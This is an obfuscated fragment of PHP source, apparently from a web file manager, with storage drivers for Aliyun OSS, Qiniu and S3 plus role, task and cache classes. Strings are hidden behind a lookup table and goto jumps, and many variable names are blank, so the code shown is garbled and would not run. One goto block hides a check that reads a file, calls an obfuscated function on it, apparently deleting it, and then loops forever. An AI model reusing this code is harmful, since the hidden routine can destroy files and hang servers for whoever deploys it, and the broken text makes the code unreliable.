$_SERVER[譃]; if (!($ = $this->getHost())) { return !1; } $ηΜ = $this->trafficLimit($Çǝ[1408]); $ѥ䈕 = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($꺔), $ηΜ); return array($Çǝ[222] => $ѥ䈕, $Çǝ[178] => $ . $Çǝ[8] . $this->pathEncode($꺔), $Çǝ[223] => gmdate($Çǝ[1416]), $Çǝ[95] => $꺔); } public function multiUploadAuthData($, $߳ = array()) { $͑܁ž =& $_SERVER[譃]; $͚ = isset($߳[$͑܁ž[223]]) ? $߳[$͑܁ž[223]] : gmdate($͑܁ž[1416]); $̋ = isset($߳[$͑܁ž[171]]) ? $߳[$͑܁ž[171]] : $͑܁ž[12]; $ = $; if (isset($߳[$͑܁ž[95]])) { $ = $߳[$͑܁ž[95]]; unset($߳[$͑܁ž[95]]); } if (isset($߳[$͑܁ž[224]])) { $߳[$͑܁ž[223]] = $͚; return $this->listUploadParts($, $߳); } $ޑϹ = array($͑܁ž[225], $͑܁ž[12], $͑܁ž[121], $͚, "\170\x2d\x6f\163\x73\x2d\144\141\164\x65\x3a{$͚}", $͑܁ž[8] . $this->bucket . $͑܁ž[8] . $ . $̋); if (strpos($̋, $͑܁ž[226]) === 0) { $ޑϹ[0] = $͑܁ž[227]; if ($ݲ = $this->trafficLimit($͑܁ž[1408])) { $ = $͑܁ž[1417]; array_splice($ޑϹ, 5, 0, $ . $͑܁ž[4] . $ݲ[$]); } } if (isset($߳[$͑܁ž[228]]) && $߳[$͑܁ž[228]] == $͑܁ž[229]) { $ޑϹ[0] = $͑܁ž[229]; } if (!empty($߳[$͑܁ž[1418]])) { $ڤ = array_merge(array($ޑϹ[4]), $߳[$͑܁ž[1418]]); sort($ڤ); $ޑϹ[4] = implode($͑܁ž[230], $ڤ); } $ә = implode($͑܁ž[230], $ޑϹ); $Ʌ = base64_encode(hash_hmac($͑܁ž[231], $ә, $this->secret, !0)); $ = $͑܁ž[1382] . $this->accessKey . $͑܁ž[4] . $Ʌ; if (strpos($̋, $͑܁ž[226]) === 0) { $ = array($͑܁ž[233] => $, $͑܁ž[223] => $͚); if ($ݲ) { $ = array_merge($, $ݲ); } } return $; } public function listUploadParts($, $췞) { $⻓ =& $_SERVER[譃]; $ = parse_url_query($췞[$⻓[171]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$⻓[222]]); $ǣ = $->getListPart(); $ = array(); foreach ($ǣ as $) { $[] = array($⻓[1402] => $->getPartNumber(), $⻓[1403] => trim($->getETag(), $⻓[119])); } unset($췞[$⻓[224]], $췞[$⻓[228]]); $ڕ = $this->multiUploadAuthData($, $췞); if (empty($ڕ)) { return !1; } return array($⻓[233] => $ڕ, $⻓[223] => $췞[$⻓[223]], $⻓[235] => $); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[譃][110], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return $; } public function fileSubstr($ē, $ = 0, $ί = false) { if ($ === -1) { $ڦ = array(); } else { if ($ί === !1) { $̠ = $this->size($ē); } else { $̠ = $ + $ί - 1; } $ڦ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$̠}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ē), $ڦ); } catch (OSS\Core\OssException $߹) { think_exception($߹->getMessage()); return !1; } } private function trafficLimit($˼, $ = array()) { $ſ =& $_SERVER[譃]; if ($˼ == $ſ[1408] && $this->isUploadServer() || $˼ == $ſ[110] && $this->isFileOutServer()) { return $; } $ߔ = floatval($GLOBALS[$ſ[6]][$ſ[90]][$ſ[108]][$˼]) * 1024 * 1024 * 8; if (!$ߔ) { return $; } $ߔ = $ߔ < 819200 ? 819200 : ($ߔ > 838860800 ? 838860800 : $ߔ); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ߔ); return $; } public function link($ù, $ڛԄ = array()) { $ˏ =& $_SERVER[譃]; if (!$this->exist($ù) || $this->isFolder($ù)) { return !1; } try { $ڛԄ = $this->trafficLimit($ˏ[110], $ڛԄ); $ = $this->client->signUrl($this->bucket, $this->pathEncode($ù), 3600 * 12, $ˏ[229], $ڛԄ); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { return !1; } } public function fileOut($ɷҋ, $흶 = false, $ = false, $ự = '') { $ =& $_SERVER[譃]; if ($this->isFileOutServer()) { return $this->fileOutServer($ɷҋ, $흶, $, $ự); } if (!$) { $ = $this->pathThis($ɷҋ); } $ = rawurlencode($); $ݱ = get_file_mime(get_path_ext($)); if ($ݱ == $[216]) { return parent::fileOut($ɷҋ, $흶, $, $ự); } $흶 = $흶 ? $[1419] : $[1420]; $Ԙ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1421] . rawurlencode("{$흶}\x3b\x66\x69\154\145\156\141\x6d\x65\x3d{$}")); $Ԙ[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1422] . rawurlencode($ݱ); $ޡ = $this->link($ɷҋ, $Ԙ); $this->fileOutLink($ޡ); } public function fileOutServer($, $Τ = false, $ = false, $Ǎٶ = '') { parent::fileOut($, $Τ, $, $Ǎٶ); } public function fileOutImage($٪, $DZ = 250) { $讧 = array(OSS\OssClient::OSS_PROCESS => $_SERVER[譃][1423] . $DZ); $ߜ = $this->link($٪, $讧); $this->fileOutLink($ߜ); } public function fileOutImageServer($ڵѕ،, $ = 250) { parent::fileOutImage($ڵѕ،, $); } public function fileOutLink($ܜ) { $ʯ =& $_SERVER[譃]; if (!$this->isCdnHost() && substr($ܜ, 0, 7) == $ʯ[1323]) { $ܜ = $ʯ[1324] . substr($ܜ, 7); } header($ʯ[162] . $ܜ); die; } public function hashMd5($Α, $ = '') { $ܚ =& $_SERVER[譃]; $ = $this->_objectMeta($Α); if (!$) { return $ܚ[12]; } if (!isset($[$ܚ[1398]]) && !empty($)) { $ȫ = $this->updateObjMeta($Α, array($ܚ[1398] => $)); $[$ܚ[1398]] = $ȫ ? $ : $ܚ[12]; } return isset($[$ܚ[1398]]) ? strtolower($[$ܚ[1398]]) : $ܚ[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[譃][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ݑ) { return $this->isFile($ݑ) || $this->isFolder($ݑ); } public function isFile($؏) { return !$this->isFolder($؏) && $this->objectMeta($؏); } public function isFolder($) { return $this->cacheMethod($_SERVER[譃][202], $); } protected function objectMeta($Ҿ) { return $this->cacheMethod($_SERVER[譃][203], $Ҿ); } protected function _objectMeta($ȹ쒳) { $ =& $_SERVER[譃]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ȹ쒳)); } catch (OSS\Core\OssException $ώ) { $ = !1; } if ($) { $[$[80]] = intval($[$[1396]]); } return $; } protected function _isFolder($) { $ې =& $_SERVER[譃]; if ($ == $ې[12] || $ == $ې[8]) { return !0; } $ = array($ې[1392] => $ې[8], $ې[1393] => rtrim($, $ې[8]) . $ې[8], $ې[1394] => 1, $ې[1395] => $ې[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($ސ) { parent::__construct(); require_once SDK_DIR . $_SERVER[譃][1424]; $this->_init($ސ); } public function _init($੪) { $ =& $_SERVER[譃]; foreach ($੪ as $ȭ => $ڴ) { if (isset($this->{$ȭ})) { $this->{$ȭ} = $ڴ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1425] . LNG($[1383])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $ƚú = '', $ê = REPEAT_RENAME) { if ($this->setContent($, $ƚú)) { return $this->getPathOuter($); } return !1; } public function mkdir($«, $ = REPEAT_SKIP) { $ز =& $_SERVER[譃]; $ҋ = trim($«, $ز[8]); if ($this->_isFolder($ҋ)) { return $this->getPathOuter($ҋ); } $« = $ҋ . $ز[8]; $ = get_path_this($ҋ); $ = $« . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $«)) { $this->delFile($); return !1; } return $this->getPathOuter($ҋ); } public function copyFile($, $؆Ė) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $؆Ė, !0); return $ ? !1 : $this->getPathOuter($؆Ė); } public function moveFile($, $ݓ) { $ɢ = $this->bucketManager->move($this->bucket, $, $this->bucket, $ݓ, !0); return $ɢ ? !1 : $this->getPathOuter($ݓ); } public function delFile($к) { if (!$this->exist($к)) { return !0; } $鰗 = $this->bucketManager->delete($this->bucket, $к); return $鰗 ? !1 : !0; } public function delFolder($֕߯) { $ =& $_SERVER[譃]; if (!$this->exist($֕߯)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($֕߯); $this->listItemCache = !0; $˴ˍ = trim($֕߯, $[8]) . $[8]; if (!empty($֕߯) && $֕߯ !== $[194] && !in_array($˴ˍ, $[$[77]])) { $[$[77]][] = $˴ˍ; } $͇ = $this->delByBatch($[$[76]]); if (!$͇) { return !1; } $͇ = $this->delByBatch($[$[77]]); if (!$͇) { return !1; } return $this->delFile($˴ˍ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $Ǹ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($Ǹ); if ($) { return !1; } } return !0; } public function rename($ᦊ, $) { return $this->renameObject($ᦊ, $); } public function fileInfo($, $쵙˛ = false, $ƥ = array()) { $ =& $_SERVER[譃]; $ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[196], $[80] => isset($ƥ[$[1426]]) ? $ƥ[$[1426]] : 0, $[171] => $this->ext($)); if ($쵙˛) { return $; } $[$[197]] = $[$[86]] = 0; $[$[198]] = $[$[199]] = !0; if (empty($ƥ)) { $ƥ = $this->objectMeta($); if (!$ƥ) { return $; } } if (isset($ƥ[$[1427]])) { $[$[86]] = substr($ƥ[$[1427]] . $[12], 0, 10); } if (isset($ƥ[$[1426]])) { $[$[80]] = $ƥ[$[1426]]; } return $; } public function folderInfo($뵏, $㱛߁ = false) { $ȴ =& $_SERVER[譃]; $Ӭ = array($ȴ[32] => $this->pathThis($뵏), $ȴ[78] => $this->getPathOuter($ȴ[8] . $뵏), $ȴ[33] => $ȴ[79]); if ($㱛߁) { return $Ӭ; } $Ӭ[$ȴ[197]] = $Ӭ[$ȴ[86]] = 0; $Ӭ[$ȴ[198]] = $Ӭ[$ȴ[199]] = !0; $뵏 = rtrim($뵏, $ȴ[8]) . $ȴ[8]; $ = $this->objectMeta($뵏); if (isset($[$ȴ[1427]])) { $Ӭ[$ȴ[86]] = substr($[$ȴ[1427]] . $ȴ[12], 0, 10); } return $Ӭ; } public function listPath($̚, $ܦ = false) { $ =& $_SERVER[譃]; $͂ݜ = $this->fileList($̚, $[8], !0); foreach ($͂ݜ[$[77]] as $߳ => $ޑé) { $͂ݜ[$[77]][$߳] = $this->folderInfo($ޑé, $ܦ); } foreach ($͂ݜ[$[76]] as $߳ => $ޑé) { $͂ݜ[$[76]][$߳] = $this->fileInfo($ޑé[$[95]], $ܦ, $ޑé); } return $͂ݜ; } public function has($ῢ, $ҳɼ = false, $ = true) { $ٜ =& $_SERVER[譃]; $ῢ = trim($ῢ, $ٜ[8]); $ = empty($ῢ) && $ῢ !== $ٜ[194] ? $ٜ[12] : $ῢ . $ٜ[8]; $ = $ٜ[12]; $ע = 500; $ = $ٜ[8]; $»ύ = $쮹 = 0; while (!0) { check_abort(); list($͞, $) = $this->bucketManager->listFiles($this->bucket, $, $, $ע, $); if ($) { break; } $ = array_key_exists($ٜ[1395], $͞) ? $ = $͞[$ٜ[1428]] : $ٜ[12]; if ($ҳɼ) { if (!empty($͞[$ٜ[1429]])) { $»ύ += count($͞[$ٜ[1429]]); } if (!empty($͞[$ٜ[1430]])) { $쮹 += count($͞[$ٜ[1430]]); } if ($ === $ٜ[12]) { break; } continue; } if ($) { if (!empty($͞[$ٜ[1429]])) { return !0; } } else { if (!empty($͞[$ٜ[1430]])) { return !0; } } if ($ === $ٜ[12]) { break; } } if ($ҳɼ) { return array($ٜ[206] => $»ύ, $ٜ[207] => $쮹); } return !1; } public function listAll($ݵ) { $ =& $_SERVER[譃]; $ = $this->fileList($ݵ, $[12], !0); $ȓ = array(); foreach ($[$[76]] as $) { $ȓ[$[$[95]]] = $[$[80]]; } foreach ($[$[77]] as $) { if (is_string($)) { $ȓ[$] = 0; } } return $this->listAllFiles($ݵ, array_keys($ȓ), $ȓ); } private function fileList($, $ʻǏ = '', $ = 0) { $蘊 =& $_SERVER[譃]; $ = trim($, $蘊[8]); $Ǐ = empty($) && $ !== $蘊[194] ? $蘊[12] : $ . $蘊[8]; $ٴ = $蘊[12]; $Қ = 1000; $ɼ = $this->listItemCache === !1 ? !1 : !0; $ = $ = array(); while (!0) { check_abort(); list($ת, $) = $this->bucketManager->listFiles($this->bucket, $Ǐ, $ٴ, $Қ, $ʻǏ); if ($) { break; } $ٴ = array_key_exists($蘊[1395], $ת) ? $ٴ = $ת[$蘊[1428]] : $蘊[12]; $ͨ = isset($ת[$蘊[1429]]) ? $ת[$蘊[1429]] : array(); $ = isset($ת[$蘊[1430]]) ? $ת[$蘊[1430]] : array(); foreach ($ͨ as $) { if ($[$蘊[95]] == $Ǐ) { continue; } $ҿ = $[$蘊[95]]; $ = $[$蘊[1426]]; $[$蘊[80]] = $; $ֈ = $ == 0 && substr($ҿ, strlen($ҿ) - 1, 1) == $蘊[8] ? !0 : !1; if ($ɼ) { $this->cacheMethod($蘊[202], $ҿ, $ֈ); $this->cacheMethod($蘊[203], $ҿ, $); } if ($ֈ) { $[] = $ҿ; continue; } $[] = $ ? $ : $ҿ; } foreach ($ as $ҿ) { if ($ҿ == $Ǐ) { continue; } $[] = $ҿ; if ($ɼ) { $this->cacheMethod($蘊[202], $ҿ, !0); } } if ($ٴ === $蘊[12]) { break; } } if ($ɼ) { $this->cacheMethod($蘊[202], $, !0); } return array($蘊[77] => $, $蘊[76] => $); } public function canRead($ň) { return $this->exist($ň) ? !0 : !1; } public function canWrite($̀) { return $this->exist($̀) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($Ԣݒ, $Ҽ = '') { $ = $this->tempFile($this->pathThis($Ԣݒ)); file_put_contents($, $Ҽ); if ($this->upload($Ԣݒ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $Dž© =& $_SERVER[譃]; $漉 = array(); if (is_array($)) { foreach ($ as $) { $漉[] = $this->link($); } } else { $漉[] = $this->link($); } $͘ = new Qiniu\Cdn\CdnManager($this->auth); list($, $ꐹ) = $͘->refreshUrls($漉); if ($ꐹ) { return !1; } return $[$Dž©[1181]] == $Dž©[758] ? !0 : !1; } public function fileSubstr($ˤ, $, $) { $ס =& $_SERVER[譃]; if (!($ = $this->link($ˤ))) { return !1; } $Ë = !1; if ($ > 0) { $ = $ + $ - 1; $Ë = array($ס[1431] . $ . $ס[456] . $); } $ = url_request($, $ס[229], !1, $Ë); return $[$ס[748]] ? $[$ס[1191]] : !1; } public function upload($, $܄, $ = false, $ޑ = REPEAT_REPLACE) { $첔 = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($܄)); list($, $ި) = $첔->putFile($, $, $܄, null, $); return $ި ? !1 : $this->getPathOuter($); } public function uploadFormData($, $솦 = 3600) { return $this->uploadToken($, $솦); } public function multiUploadFormData($Գ, $Տ = 3600) { return $this->uploadToken($Գ, $Տ); } private function uploadToken($ȏ, $ = 3600) { $ =& $_SERVER[譃]; $캇 = $; $ = array($[1432] => $[1433]); $眧ՙ = $ȏ; $ = $this->auth->uploadToken($this->bucket, $眧ՙ, $캇, $, !0); $ = empty($this->region) || $this->region == $[1434] ? $[12] : $[456] . $this->region; $̭ = http_type() . "\72\57\57\165\160\x6c\157\x61\x64{$}\56\161\151\x6e\x69\165\x70\56\143\157\x6d\57"; return array($[1435] => $, $[1436] => $̭); } public function download($, $) { $ũ = IO::getPathInner(IO::mkfile($)); if (!($䃐 = $this->link($))) { return !1; } $ΰ = 0; $ژ÷ = 1024 * 200; $ = fopen($ũ, $_SERVER[譃][1437]); while (!0) { $뷌 = $this->fileSubstr($, $ΰ, $ژ÷); if ($뷌 === !1) { return !1; } fwrite($, $뷌); $ΰ += $ژ÷; if (strlen($뷌) < $ژ÷) { break; } } fclose($); return $; } public function link($, $ܓ = '') { if (!$this->isFile($)) { return !1; } $ϰ = $this->getHost() . $_SERVER[譃][8] . $this->pathEncode($) . $ܓ; return $this->auth->privateDownloadUrl($ϰ, 3600 * 12); } public function fileOut($Ѐ, $ਣ = false, $ = false, $ҧ = '') { $ɐ =& $_SERVER[譃]; if ($this->isFileOutServer()) { return $this->fileOutServer($Ѐ, $ਣ, $, $ҧ); } if (!$) { $ = $this->pathThis($Ѐ); } $ת = $ਣ ? $ɐ[1438] . rawurlencode($) : $ɐ[12]; $ы = $this->link($Ѐ, $ת); $this->fileOutLink($ы); } public function fileOutServer($̱, $ = false, $ = false, $Ѝ = '') { parent::fileOut($̱, $, $, $Ѝ); } public function fileOutImage($, $ᇯ = 250) { $ = $this->link($, $_SERVER[譃][1439] . $ᇯ); $this->fileOutLink($); } public function fileOutImageServer($̸, $ׅ = 250) { parent::fileOutImage($̸, $ׅ); } public function hashMd5($ݠ) { $홟뉓 =& $_SERVER[譃]; $ = $this->objectMeta($ݠ); return isset($[$홟뉓[211]]) ? $[$홟뉓[211]] : !1; $ӫܷ = $this->link($ݠ, $홟뉓[1440]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[譃][80]] : 0; } public function info($֒ε) { if ($this->isFolder($֒ε)) { return $this->folderInfo($֒ε); } else { if ($this->isFile($֒ε)) { return $this->fileInfo($֒ε); } } return !1; } public function exist($Ϩӡ) { return $this->isFile($Ϩӡ) || $this->isFolder($Ϩӡ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($㯺) { return $this->cacheMethod($_SERVER[譃][202], $㯺); } protected function objectMeta($ʂ) { return $this->cacheMethod($_SERVER[譃][203], $ʂ); } protected function _objectMeta($ށ) { $ =& $_SERVER[譃]; list($ĩ, $↓) = $this->bucketManager->stat($this->bucket, $ށ); if ($ĩ) { $ĩ[$[80]] = intval($ĩ[$[1426]]); } return $ĩ; } protected function _isFolder($م) { $ =& $_SERVER[譃]; if ($م == $[12] || $م == $[8]) { return !0; } list($, $ܭ) = $this->bucketManager->listFiles($this->bucket, trim($م, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1429]]) || !empty($[$[1430]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($ܺ, $˗ = 3600) { $ =& $_SERVER[譃]; $ = $[195]; $IJ = $[1345]; $ = $[62]; $ܑ = gmdate($[1346]); $ = gmdate($[749]); $ = $[1347]; $́ = $˗ . $[12]; $ = $[1308]; $ӗ = array($this->accessKey, $, $this->region, $, $); $ͻ = implode($[8], $ӗ); $܈ = array($[1310] => gmdate($[1309], strtotime($[1348])), $[1311] => array(array($[1313] => $this->bucket), array($[1312] => $), array($[1314], $[1315], $[12]), array($[1314], $[1349], $[12]), array($[1314], $[1350], $[12]), array($[1316] => $), array($[1351] => $ͻ), array($[1352] => $IJ), array($[1353] => $ܑ), array($[1354] => $́))); $᭓ = base64_encode(json_encode($܈)); $ע = hash_hmac($[1355], $, $[1356] . $this->secret, !0); $ = hash_hmac($[1355], $this->region, $ע, !0); $ = hash_hmac($[1355], $, $, !0); $ = hash_hmac($[1355], $, $, !0); $Ԏ = hash_hmac($[1355], $᭓, $); $͋ = array($[214] => $[12], $[1357] => $[12], $[1312] => $, $[1316] => $, $[1320] => $᭓, $[1358] => $ͻ, $[1359] => $IJ, $[1360] => $ܑ, $[1361] => $́, $[1362] => $Ԏ, $[178] => $this->getHost()); return $͋Â; } public function multiUploadFormData($̍, $ = 3600) { $գ =& $_SERVER[譃]; $ו = gmdate($գ[1441]); $ = array(); $ɟ = $this->client->getUploadId($this->bucket, $̍, $); if (!$ɟ) { return !1; } return array($գ[222] => $ɟ, $գ[178] => $this->getHost() . $գ[8] . $this->pathEncode($̍), $գ[223] => $ו, $գ[95] => $̍); } public function multiUploadAuthData($, $ = array()) { $ؾ =& $_SERVER[譃]; $䃥 = isset($[$ؾ[171]]) ? $[$ؾ[171]] : $ؾ[12]; $غȆ = $[$ؾ[95]]; unset($[$ؾ[95]]); if (isset($[$ؾ[224]])) { return $this->listUploadParts($غȆ, $); } $ = array(); if (isset($[$ؾ[1442]])) { $[$ؾ[1443]] = $[$ؾ[1442]]; } $ = explode($ؾ[180], $this->getHost()); $ɸ = array($ؾ[1444] => $[1], $ؾ[1445] => $ؾ[12], $ؾ[214] => $ؾ[121], $ؾ[1357] => $[$ؾ[80]]); $ = $ؾ[227]; $ߜ = $ؾ[8] . $this->pathEncode($غȆ) . $䃥; $Ҙ = $this->client->__getSignatureV4($, $ɸ, $, $ߜ); if (strpos($䃥, $ؾ[226]) === 0) { if (isset($[$ؾ[1443]])) { $ܔ = $[$ؾ[1443]]; } else { if (isset($Ҙ[$ؾ[1443]])) { $ܔ = $Ҙ[$ؾ[1443]]; } else { $ܔ = hash($ؾ[1355], $ؾ[12]); } } return array($ؾ[233] => $Ҙ[$ؾ[233]], $ؾ[1443] => $ܔ, $ؾ[223] => $Ҙ[$ؾ[1446]]); } return $Ҙ[$ؾ[233]]; } public function listUploadParts($أ, $۶ = array()) { $ =& $_SERVER[譃]; $ = str_replace($[234], $[12], $۶[$[171]]); $ = $this->client->listParts($this->bucket, $أ, $); if (!$) { return !1; } $À = $[1447]; foreach ($ as $) { $À .= $[1448] . "\74\120\141\162\164\116\x75\x6d\142\x65\162\76{$[$[1402]]}\74\x2f\x50\x61\x72\164\x4e\x75\x6d\x62\x65\x72\76\xa" . "\x3c\x45\x54\x61\x67\76{$[$[1403]]}\x3c\57\105\x54\x61\147\x3e\xa" . $[1449]; } $À .= $[1450]; $⾽ = array(); $ = explode($[180], $this->getHost()); $Þ = array($[1444] => $[1], $[214] => $[121], $[1357] => strlen($À)); $ߨ = $[225]; $ = $[8] . $this->pathEncode($أ) . $۶[$[171]]; $ = $this->client->__getSignatureV4($⾽, $Þ, $ߨ, $, $À); return array($[233] => $[$[233]], $[223] => $[$[1446]], $[235] => $, $[1443] => $[$[1443]]); } public function link($쑣, $Ҍ = array()) { return parent::link($쑣, $Ҍ); } public function fileOut($, $ = false, $ܘ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[譃][1451])) { return parent::fileOutServer($, $, $ܘ, $); } parent::fileOut($, $, $ܘ, $); } public function fileOutImage($ﲤ, $ = 250) { if (strstr($this->endpoint, $_SERVER[譃][1451])) { return parent::fileOutImageServer($ﲤ, $); } parent::fileOutImage($ﲤ, $); } public function fileOutLink($ͱ) { $ =& $_SERVER[譃]; if (substr($ͱ, 0, 7) == $[1323]) { $ͱ = $[1324] . substr($ͱ, 7); } header($[162] . $ͱ); die; } public function getHost() { $Ýҏ =& $_SERVER[譃]; $ = str_rtrim(parent::getHost(), $Ýҏ[8] . $this->bucket); $ = explode($Ýҏ[180], $); return $[0] . $Ýҏ[180] . $this->bucket . $Ýҏ[10] . $[1]; } } goto fِ; bҎ: if (!isset($_SERVER[$_SERVER[譃][872]]) || !isset($_SERVER[$_SERVER[譃][870]])) { $_getc = $_SERVER[譃][874]; $_getfile = $_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[譃][230], $_getfilec); if (count($_getarrs) < $_SERVER[譃][606]) { $exit = $_SERVER[譃][877]; $exit(); } $_act = $_SERVER[譃][1343]; $_act($_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[譃][377]); } } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\x2e\x72\157\154\x65\x4c\x69\x73\x74"; public $field = array("\156\141\x6d\x65", "\141\x75\x74\150", "\154\x61\142\145\154", "\144\x69\x73\x70\x6c\x61\171", "\x73\171\163\164\x65\155", "\x64\x65\163\x63", "\x69\x67\x6e\157\162\145\x45\170\x74", "\x69\x67\156\x6f\162\x65\x46\x69\154\x65\x53\x69\172\x65", "\141\x64\x6d\x69\x6e\151\163\x74\x72\141\164\x6f\162", "\163\157\162\x74"); public function listData($ʂ = false, $љᠻ = "\163\157\x72\x74", $ = false) { $˼ =& $_SERVER[譃]; $ = parent::listData($ʂ, $љᠻ, $); if (!$ʂ) { foreach ($ as $Ʃ => $Л) { if ($Л[$˼[2018]] == 1) { $[$Ʃ][$˼[447]] = LNG($˼[2244]); } } } return $; } public function update($, $) { $؋ =& $_SERVER[譃]; $ď = parent::listData($); $ = $this->findByName($[$؋[32]]); if (!$ď || $ && $[$؋[396]] != $ď[$؋[396]]) { return !1; } if ($[$؋[2018]] == 1) { $ = array($؋[32] => $[$؋[32]], $؋[1845] => $[$؋[1845]]); } $this->filterAuth($[$؋[410]]); return parent::update($, $); } public function remove($Ђ) { $ = parent::listData($Ђ); if (!$ || $[$_SERVER[譃][1274]]) { return !1; } return parent::remove($Ђ); } public function add($ʂ) { $瞬 =& $_SERVER[譃]; $ڛ = $ʂ[$瞬[32]]; if ($this->findByName($ڛ)) { return !1; } $ = array($瞬[417] => $ڛ, $瞬[1829] => $瞬[12], $瞬[1825] => $瞬[1833], $瞬[2245] => 1, $瞬[1828] => 0, $瞬[2246] => 0, $瞬[1827] => $this->getSort()); $ʂ = array_merge($, $ʂ); $this->filterAuth($ʂ[$瞬[410]]); return parent::insert($ʂ); } private function getSort() { $ڒѯ =& $_SERVER[譃]; $ = parent::listData(); $ = array_to_keyvalue($, $ڒѯ[12], $ڒѯ[1846]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[譃]; $ = array(); $Ǥۮ = array_filter(explode($[50], $)); foreach ($Ǥۮ as $) { $ = explode($[10], $); if ($[0] == $[2247] && $[1] != $[1193]) { $ = $[0] . $[10] . $[1] . $[2248]; if (!in_array($, $Ǥۮ)) { $[] = $; } } $[] = $; } $ = implode($[50], $); } public function sort($ꡋ, $) { return parent::update($ꡋ, $); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\x74\141\x73\153\114\x69\163\164"; public $field = array("\156\x61\155\x65", "\x74\171\160\x65", "\x65\x76\x65\156\x74", "\164\x69\155\x65", "\x64\145\163\x63", "\x73\171\163\164\x65\155", "\145\156\x61\x62\154\x65", "\x6c\x61\x73\x74\122\165\x6e", "\x73\x6f\162\164"); public function listData($̳҄ = false, $ށƏ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($̳҄, $ށƏ, $); } public function add($) { $˭ =& $_SERVER[譃]; $ = $this->findByName($[$˭[32]]); if ($) { return !1; } $[$˭[1616]] = 0; $[$˭[1846]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[譃]; $ϥ = parent::listData(); $ߟ = array_to_keyvalue($ϥ, $[12], $[1846]); return empty($ߟ) ? 0 : max($ߟ) + 1; } public function update($, $) { $ =& $_SERVER[譃]; $ՒϨ = $this->listData($); $ێ = $this->findByName($[$[32]]); if (!$ՒϨ || $ێ && $ێ[$[396]] != $ՒϨ[$[396]]) { return !1; } return parent::update($, $); } public function remove($ӊ, $ܝ = false) { $ =& $_SERVER[譃]; $ȏ = $this->listData($ӊ); if (!$ȏ) { return; } if (!$ܝ && $ȏ[$[1274]] == $[89]) { return !1; } return parent::remove($ӊ); } public function enable($Иݾ, $) { return $this->update($Иݾ, array($_SERVER[譃][2239] => $)); } public function run($͗) { return $this->update($͗, array($_SERVER[譃][2249] => time())); } } goto Aԥ⒐; Fͫ: class CacheLockDatabase { public function lock($, $Ώş = 0) { $۟ = Model($_SERVER[譃][827]); $Ļ = microtime(!0) + $Ώş; while (microtime(!0) < $Ļ) { $ǯ = $۟->get($); if (!$ǯ || $ǯ < microtime(!0)) { $ = $۟->set($, $Ļ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ʲ) { return Model($_SERVER[譃][827])->get($ʲ); } public function unlock($ح) { Model($_SERVER[譃][827])->remove($ح); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($Ȼ, $) { $в» =& $_SERVER[譃]; if (!class_exists($в»[860])) { show_json($в»[861], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($Ȼ[$в»[862]]) && count($Ȼ[$в»[862]]) >= 1) { foreach ($Ȼ[$в»[862]] as $ɏ) { $̮ = explode($в»[4], $ɏ); $this->handle->addServer($̮[0], $̮[1]); } } else { $this->handle->addServer($Ȼ[$в»[178]], $Ȼ[$в»[179]]); } } public function set($ʟ, $䲅, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($ʟ, $䲅, $); } public function 